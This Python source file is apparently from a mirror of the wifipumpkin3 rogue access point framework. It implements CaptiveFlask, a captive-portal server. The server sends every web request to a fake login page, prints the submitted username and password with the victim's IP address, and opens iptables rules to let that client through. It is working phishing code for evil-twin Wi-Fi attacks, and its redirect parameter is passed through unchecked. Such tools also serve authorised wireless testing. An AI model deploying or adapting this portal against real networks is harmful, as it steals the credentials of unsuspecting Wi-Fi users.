mirror of
https://github.com/Cronocide/wifipumpkin3.git
synced 2025-01-22 19:37:18 +00:00
117 lines
3.5 KiB
Python
117 lines
3.5 KiB
Python
#!/usr/bin/python3
|
|
from flask import Flask, request, redirect, render_template
|
|
from urllib.parse import urlencode, unquote
|
|
import os, sys
|
|
import subprocess
|
|
import argparse
|
|
|
|
# app = Flask(__name__,static_url_path='/templates/flask/static',
|
|
# static_folder='templates/flask/static',
|
|
# template_folder='templates/flask')
|
|
app = Flask(__name__)
|
|
|
|
|
|
def login_user(ip):
|
|
subprocess.call(
|
|
["iptables", "-t", "nat", "-I", "PREROUTING", "1", "-s", ip, "-j", "ACCEPT"]
|
|
)
|
|
subprocess.call(["iptables", "-I", "FORWARD", "-s", ip, "-j", "ACCEPT"])
|
|
|
|
|
|
@app.route("/login", methods=["GET", "POST"])
|
|
def login():
|
|
if (
|
|
request.method == "POST"
|
|
and "login" in request.form
|
|
and "password" in request.form
|
|
):
|
|
sys.stdout.write(
|
|
str(
|
|
{
|
|
request.remote_addr: {
|
|
"login": request.form["login"],
|
|
"password": request.form["password"],
|
|
}
|
|
}
|
|
)
|
|
)
|
|
global FORCE_REDIRECT
|
|
sys.stdout.flush()
|
|
login_user(request.remote_addr)
|
|
if FORCE_REDIRECT:
|
|
return render_template("templates/login_successful.html")
|
|
elif "orig_url" in request.args and len(request.args["orig_url"]) > 0:
|
|
return redirect(unquote(request.args["orig_url"]))
|
|
else:
|
|
return render_template("templates/login_successful.html")
|
|
else:
|
|
return render_template(
|
|
"templates/login.html",
|
|
orig_url=urlencode({"orig_url": request.args.get("orig_url", "")}),
|
|
)
|
|
|
|
|
|
@app.route("/favicon.ico")
|
|
def favicon():
|
|
return app.send_static_file("templates/favicon.ico")
|
|
|
|
|
|
@app.route("/", defaults={"path": ""})
|
|
@app.route("/<path:path>")
|
|
def catch_all(path):
|
|
global REDIRECT
|
|
return redirect(
|
|
"http://{}/login?".format(REDIRECT) + urlencode({"orig_url": request.url})
|
|
)
|
|
|
|
|
|
#https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse
|
|
def str2bool(v):
|
|
if isinstance(v, bool):
|
|
return v
|
|
if v.lower() in ('yes', 'true', 't', 'y', '1'):
|
|
return True
|
|
elif v.lower() in ('no', 'false', 'f', 'n', '0'):
|
|
return False
|
|
else:
|
|
raise argparse.ArgumentTypeError('Boolean value expected.')
|
|
|
|
_version = "1.0.2"
|
|
|
|
if __name__ == "__main__":
|
|
print("[*] CaptiveFlask v{} - subtool from wifipumpkin3".format(_version))
|
|
parser = argparse.ArgumentParser(
|
|
description="CaptiveFlask - \
|
|
Server to create captive portal with flask\n doc: https://github.com/mh4x0f/captiveportals"
|
|
)
|
|
parser.add_argument(
|
|
"-t", "--tamplate", dest="template", help="path the theme login captive portal"
|
|
)
|
|
parser.add_argument(
|
|
"-s", "--static", dest="static", help="path of the static files from webpage"
|
|
)
|
|
parser.add_argument(
|
|
"-r",
|
|
"--redirect",
|
|
dest="redirect",
|
|
help="IpAddress from gataway captive portal",
|
|
)
|
|
parser.add_argument(
|
|
"-f",
|
|
"--force-login_successful-template",
|
|
dest="force_redirect",
|
|
default=False,
|
|
type=str2bool,
|
|
help="force redirect to login_successful.html template",
|
|
)
|
|
parser.add_argument("-v", "--version", dest="version", help="show version the tool")
|
|
args = parser.parse_args()
|
|
REDIRECT = args.redirect
|
|
FORCE_REDIRECT = args.force_redirect
|
|
|
|
app.static_url_path = "\{}".format(args.static)
|
|
app.static_folder = "{}".format(args.static)
|
|
app.template_folder = args.template
|
|
|
|
app.run("0.0.0.0", port=80)
|